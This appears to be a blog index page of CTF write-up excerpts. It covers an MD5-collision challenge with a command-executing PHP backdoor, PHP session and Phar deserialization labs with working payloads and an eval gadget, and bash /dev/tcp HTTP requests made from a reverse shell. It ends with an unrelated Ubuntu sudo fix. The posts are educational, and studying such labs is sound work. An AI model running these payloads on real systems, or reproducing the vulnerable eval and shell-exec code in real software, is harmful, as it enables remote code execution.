CTF-MD5碰撞

题目 <?php $cmd=$_GET['cmd']; if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("die"); } ?> 可以看到:a!==b并且md5(a)===md5(b) 工具:fastcoll 下载地址:https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip 使用教程: 创建一个a.txt文件,输入任意内容 指令fastcoll_v1.0.0.5.exe -p a.txt -o 1.txt 2.txt 程序运行之后,1.txt和2.txt的内容不同,但是hash值相同 生成便于提交的URL编码的验证脚本 <?php function readmyfile($path){ $fh = fopen($path, "rb"); $data = fread($fh, filesize($path)); fclose($fh); return $data; } $a = urlencode(readmyfile("./1.txt")); $b = urlencode(readmyfile("./2.txt")); $aa=urldecode($a); $bb=urldecode($b); if ((string)$aa !== (string)$bb && md5($aa) === md5($bb)) { echo $a."\n".$b; } ?>

August 2, 2024 · 1 min · Yalois

📞CTF-Web-PHPSession反序列化

基础知识 1.当session_start()被调用时,或者php.ini中的session.auto_start为1,则启用session管理,如果session存在,则使用对应的处理器访问使用在了本地的session文件,否则就新建session文件。 2.php有三种SESSION处理器,处理器负责读写session文件,有三种处理器对应的三种存储格式。如下 //三种处理器 1.php处理器 存储格式:键名1|序列化$_SESSION[键名1]的值;键名2|序列化$_SESSION[键名2]的值;... 2.php_serialize处理器(php>=5.5.4) 存储格式:序列化$_SESSION后的值 3.php_binary处理器 存储格式:键名1长度对应的ASCII字符+键名1+$_SESSION[键名1]的序列化值;键名2长度对应的ASCII字符+键名2+$_SESSION[键名2]的序列化值;... 因为存储的时候序列化了,所以读取的时候会反序列化 3.ini_set函数:https://www.php.net/manual/zh/function.ini-set.php Session反序列化漏洞的成因 session反序列化漏洞是在读取本地session的时候处理器选择错误引起的漏洞。 漏洞复现 这里用橙子科技工作室提供的代码。 save.php <?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['ben'] = $_GET['a']; ?> vul.php <?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class D{ var $a; function __destruct(){ eval($this->a); } } ?> 需要先访问save.php以php_serialize处理器来保存session文件,然后再访问vul.php用php处理器来读取session文件。 先根据vul提供的class来构造反序列化需要用的序列化内容 <?php class D{ var $a="phpinfo();"; function __destruct(){ eval($this->a); } } echo serialize(new D()); ?> 输出内容是 O:1:"D":1:{s:1:"a";s:10:"phpinfo();";} 然后构造a的值 |O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;} 访问 save.php?a= |O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;} 然后再访问vul.php会发现已经出现phpinfo了 解释 可以看到成功触发了。为什么呢? 可以查看服务器上的session文件 因为存储的时候使用php_serialize处理器, $_SESSION[‘ben’] = $_GET[‘a’]; ...

July 31, 2024 · 1 min · Yalois

👻CTF-Web-初识Phar反序列化

前言 常见的php反序列化都是通过unserilize()来实现的,除此之外还有不需要用到unserilize()的反序列化方法,比如Phar,那么来了解一下Phar反序列化 基础知识 什么是Phar PHP手册是这么说的 phar 扩展提供了一种将整个 PHP 应用程序放入单个叫做“phar”(PHP 归档)文件的方法,以便于分发和安装。 什么是 phar?phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。 Phar(PHP Archive)可以理解为一个压缩包。类似于Java的JAR文件。可以将多个PHP文件、资源和元数据打包成一个单一的文件,便于分发和部署。不经过解压就能被PHP访问。 Phar结构 1.Stub (phar文件标识) ​ 格式为=> xxx<?php xxx;__HALT_COMPILER();?> ​ 前面内容不限,后面必须以__HALT_COMPILER();结尾。 ​ 在开发中Stub是当你直接运行 PHAR 文件时执行的 PHP 代码。 ​ Stub通常用于初始化、加载其他文件或执行主要逻辑。 2.manifest (用序列化方式存储压缩文件的属性等信息) ​ phar文件本质上是一种压缩文件,其中每个被压缩文件的信息都放在这。 ​ manifest还会以序列化的形式存储用户自定义的meta-data,常常利用这一点攻击。 3.contents (压缩文件的内容) ​ 被压缩的文件内容放在这 4.signature (签名,在文件末尾) 生成Phar <?php class test{ public $name='phpinfo();'; } //创建phar对象 $phar = new phar("test.phar"); //开始构建phar文件 $phar->startBuffering(); //设置存根Stub $phar->setStub("<?php__HALT_COMPILER();?>"); //创建test利用对象 $o=new test(); //自定义Metadata 把test的实例对象传入 会以序列化的方式存入manifest $phar->setMetadata($o); //添加压缩的文件 $phar->addFromString("flag.txt","flag{123cascs}"); //结束创建,自动签名。 $phar->stopBuffering(); ?> 执行这个php文件会在目录下创建test.phar。 ...

July 31, 2024 · 1 min · Yalois

Linux的bash下建立TCP连接发送http请求

前段在ISCC里面做了个题目,反弹shell进入docker容器之后需要发送一个http请求来获取flag。但是各种命令(curl/wget)都没法用,最后绞尽脑汁想出了一个办法,那就是用/dev/tcp发送请求。今天来总结一下。之前写博客都写的十分详细,把概念什么的都写出来。。。更像个新手教程,每次写博客都花费大量的时间,我觉得还是简单点好,以后遇到问题能直接复制博客来用就行了。 #!/bin/bash #建立TCP连接,格式/dev/tcp/host/port exec 5<>/dev/tcp/www.sky233.top/80 #发送http请求,(自己构造http请求头) echo -e "GET /flag HTTP/1.1\r\nhost: www.sky233.top\r\nConnection: close\r\n\r\n" >&5 #打印返回结果 cat <&5 参考文章 https://eightpigs.io/2023/06/30/use_dev_tcp_send_http_request/ https://w0lfram1te.com/exploring-dev-tcp https://tldp.org/LDP/abs/html/devref1.html

July 30, 2024 · 1 min · Yalois

🪄UbuntuServer的sudo命令响应很慢原因和解决办法

问题 今天学习的反序列化视频里有个靶场,因为都放在WSL里会很乱,所以我决定专门开一个Linux虚拟机用来搭建靶场。于是我下载了Ubuntu Server镜像来安装,安装之后我换apt源的时候会等待好几秒再执行,非常的难受,其他的Linux没有这种问题。起初我以为是配置给低了,分配了更多的内存和处理器,但是发现并没有任何作用,然后我偶然间发现在vim同一个文件的时候,加上sudo和不加sudo是不一样的。加上sudo的时候需要等好多秒,不加就是立马响应,然后我上网查了一下。 原因是sudo被设计的时候允许/etc/sudoers中的成员不在本机上。sudo的时候会先从网络上寻找可能的sudoer,然后再从本地找。正是在这网络寻找的这一步产生了延迟时间。 于是用Wireshark检测了虚拟网卡的数据包,果然是是在向ubuntuserver1发送请求。 解决办法 在/etc/hosts里面添加 “127.0.0.1 ubuntuserver1” 其中ubuntuserver1是Server’name去除下划线的内容。 为什么会出现问题? 看到原来的/etc/hosts文件我似乎明白了 原来 127.0.0.1 localhost 127.0.1.1 ubuntu_server_1 ... 新增后 127.0.0.1 localhost 127.0.1.1 ubuntu_server_1 127.0.0.1 ubuntuserver1 ... 安装系统的时候设置的 Server’name 是:ubuntu_server_1。系统是添加了ubuntu_server_1本地回环地址的。 在sudo发送请求的时候忽略了我的下划线,成为了ubuntuserver1,导致了问题的发生。所以我需要把ubuntuserver1设成本地回环地址。 如果我的 Server’name 当时没有加下划线,就不会有延迟了。 127.0.0.1和127.0.1.1区别(GPT提供答案) 在计算机网络中,127.0.0.1和127.0.1.1都是本地回环地址,用于在单台计算机上进行网络通信。它们之间的主要区别在于,127.0.0.1是标准的本地回环地址,通常用于在同一台计算机上进行通信,而127.0.1.1通常用于一些特殊的配置,例如在某些Linux系统上用于标识本地主机。 总的来说,通常情况下,大多数应用程序和系统都使用127.0.0.1作为本地回环地址。127.0.1.1通常在特定的系统配置中才会被使用,例如在某些Linux发行版中作为本地主机的标识。 参考URL 解决Ubuntu下terminal使用sudo命令超级慢的问题 - sudo等很久才有反应_ubuntu 20.04 terminal 加载慢-CSDN博客 Ubuntu下sudo速度很慢原因及解决办法_wsl 使用sudo很慢-CSDN博客

July 17, 2024 · 1 min · Yalois